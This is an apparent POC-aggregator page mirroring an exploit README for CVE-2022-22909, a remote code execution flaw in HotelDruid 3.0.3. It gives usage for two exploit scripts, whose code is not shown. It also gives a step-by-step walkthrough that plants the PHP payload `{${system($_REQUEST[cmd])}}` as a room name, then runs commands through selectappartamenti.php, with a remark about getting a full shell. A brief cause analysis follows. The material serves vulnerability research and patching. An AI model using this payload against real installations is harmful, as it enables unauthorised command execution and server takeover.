POC详情: 96aa6d7f9a8759544eaa7bce0971182afc5bbaec

来源
关联漏洞
标题: HotelDruid 代码注入漏洞 (CVE-2022-22909)
描述:HotelDruid是Digitaldruid.net团队的一套酒店管理系统。该系统包括客房管理、财务管理和库存管理等功能。 HotelDruid 3.0.3版本存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
描述
 Exploits for Hotel Druid 3.0.3 - Remote Code Execution (RCE)  CVE-2022-22909
介绍

# CVE-2022-22909 Hotel Druid 3.0.3 - Remote Code Execution (RCE) 
## Exploit by kaal

### Exploits

1. HotelDruidExploit.py

This Exploit will create new room with our PHP payload as a room name .


Usage :
`$ ./HotelDruidExploit.py -h`

![image](https://user-images.githubusercontent.com/55247170/158230509-250bac60-31b3-484e-b463-99625986fb6f.png)

`$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid`

![image](https://user-images.githubusercontent.com/55247170/158230966-fe02d67a-a412-40fb-ab54-9313a815716e.png)

***

2. HotelDruidExploitRoom.py

This Exploit will work if you already know the Room name .

Usage :
`$ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"`

![image](https://user-images.githubusercontent.com/55247170/158232089-101af40d-0dda-4da5-b213-795a93591c1f.png)


---

## Exploit Walkthrough :

1). Navigate to Hotel Druid page.

2). Click on Tables -> Rooms 

![image](https://user-images.githubusercontent.com/55247170/158225763-af8ab60f-0f21-4d80-8e73-7ebee1bdffae.png)

3). In Create New Room field add below php code , and click on Add. 

`{${system($_REQUEST[cmd])}}`

![image](https://user-images.githubusercontent.com/55247170/158226484-24418d1e-9f25-4b63-a3f8-7199b4194282.png)

4). You will see new room with our payload in the "Room" name field .

![image](https://user-images.githubusercontent.com/55247170/158226660-7c564bfe-c722-4102-8cb5-634086ec4d5b.png)

5). Go to below link and you will get command Execution , Later you can get Full shell 

http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami


Note : Change the Ip with your hoteldruid target IP.

## Vulnerability Description :

This vulnerability occurs because room names are getting stored inside `/var/www/html/hoteldruid/dati/selectappartamenti.php`

![image](https://user-images.githubusercontent.com/55247170/158227603-54ada157-17bd-41cb-98cb-3dbd22897ab1.png)

And `selectappartamenti.php` is a PHP file so any PHP code inside that file will get executed by the server. 






文件快照

[4.0K] /data/pocs/96aa6d7f9a8759544eaa7bce0971182afc5bbaec ├── [2.2K] HotelDruidExploit.py ├── [2.4K] HotelDruidExploitRoom.py └── [2.0K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。